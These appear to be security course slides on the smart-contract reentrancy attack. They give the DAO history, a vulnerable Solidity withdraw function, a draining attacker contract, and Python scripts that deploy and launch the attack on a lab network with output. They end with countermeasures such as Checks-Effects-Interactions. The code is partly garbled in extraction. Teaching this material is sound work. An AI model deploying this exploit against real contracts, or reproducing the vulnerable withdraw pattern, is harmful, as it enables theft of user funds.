The Reentrancy Attack

Outline

- The reentrancy attack
- Launch the attack
- Countermeasures

REENTRANCY ATTACK

The DAO Attack (on Ethereum Blockchain)

- DAO: Decentralized Autonomous Organizations
 - Application of Blockchain technologies
- The DAO (for venture capital funding)
 - A smart contract (a program running on the blockchain)
 - Had 3.6 million ethers (worth \$70 million)
- It has a vulnerability
 - May 2016: attackers stole \$50 million
- The severe damage caused Ethereum to take a rare action
 - Hard fork of the Ethereum blockchain: Ethereum Classic

How The DAO Attack Works (Reentrancy)

```
Victim's Smart Contract

withdraw()
{
   Require caller's balance >= 1 Ether
   Send 1 Ether to caller
   Deduct caller's balance by 1 Ether
}
```

```
Attacker's Smart Contract
attack()
  Deposit 1 Ether to the victim contract
  Invoke victim's withdraw()
fallback()
  Require victim's balance >= 1 Ether
  Invoke victim's withdraw()
```

The Vulnerable Contract

```
contract ReentrancyVictim {
   mapping (address => uint) public balances;
   uint256 total amount;
    function deposit() public payable {
        balances[msg.sender] += msg.value;
       total amount += msg.value;
    function withdraw(uint _amount) public {
       require(balances[msg.sender] >= amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
       require(sent, "Failed to send Ether!");
       balances[msg.sender] -= amount;
       total amount -= amount;
```

The Attack Contract

```
contract ReentrancyAttacker {
   ReentrancyVictim public victim;
    address payable owner;
    fallback() external payable {
        if(address(victim).balance >= 1 ether) {
            victim.withdraw(1 ether);
    function attack() external payable {
        require(msg.value >= 1 ether, "You need to send one ETH");
        victim.deposit{value: 1 ether}();
        victim.withdraw(1 ether);
```

LAUNCH THE ATTACK

Deploy the Victim Contract

```
abi file = "contract/ReentrancyVictim.abi"
bin file = "contract/ReentrancyVictim.bin"
# Connect to a geth node
web3 = SEEDWeb3.connect to geth poa('http://10.151.0.71:8545')
# Deploy the contract
sender account = web3.eth.accounts[0]
web3.geth.personal.unlockAccount(sender account, "admin")
print("Deploying the victim contract ...")
addr = SEEDWeb3.deploy contract(web3, sender account,
                                abi file, bin file, None)
print("Victim contract: {}".format(addr))
```

Deploy the Attack Contract

```
abi file
               = "contract/ReentrancyAttacker.abi"
                = "contract/ReentrancyAttacker.bin"
bin file
# Connect to our geth node
web3 = SEEDWeb3.connect to geth poa('http://10.150.0.71:8545')
# Deploy the contract
sender account = web3.eth.accounts[0]
web3.geth.personal.unlockAccount(sender account, "admin")
print("Deploying the attack contract ...")
addr = SEEDWeb3.deploy contract(web3, sender account,
                     abi file, bin file, victim contract)
print("Attack contract: {}".format(addr))
```

Launch the Attack

```
contract abi = SEEDWeb3.getFileContent(abi file)
contract = web3.eth.contract(address=attacker addr, abi=contract abi)
tx hash = contract.functions.attack().transact({
                    'from': sender account,
                    'value': Web3.toWei('1', 'ether')
print("Transaction sent, waiting for block ...")
tx receipt = web3.eth.wait for transaction receipt(tx hash)
 ./fund victim contract.py
 ./get balance.py
 Attacker: 0x886C0De82e54555Cd8C33914B42F3C3F9794C0DA: 210000000000000000000
$ ./launch attack.py
$ ./get balance.py
 Victim: 0xE4Ec90fc643B392e1997c8ddC520026CF29c092A: 0
Attacker: 0x886C0De82e54555Cd8C33914B42F3C3F9794C0DA: 32000000000000000000
```

Notes

- Using Solidity 0.8.10: the attack failed
 - Countermeasures are implemented by Solidity
 - Haven't figured out the exact countermeasures
- Using Solidity 0.6.8: successful
 - We can download the older version (binary) from https://github.com/ethereum/solidity/releases

Reference

- A Historical Collection of Reentrancy Attacks
 - https://github.com/pcaversaccio/reentrancy-attacks
- Language feature: disallow state-changing effects after an external call by default #12996
 - https://github.com/ethereum/solidity/issues/12996

COUNTERMEASURE

Limit the gas allowed

 Use send or transfer: forwards 2300 gas stipend, so its damage is limited. [1]

Use the Checks-Effects-Interactions pattern

- Most functions will first perform some checks
- Effects to the state variables of the current contract should be made before the interaction with other contracts

```
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);

    balances[msg.sender] -= _amount;
    total_amount -= _amount;

    (bool sent, ) = msg.sender.call{value: _amount}("");
    require(sent, "Failed to send Ether!");
}
```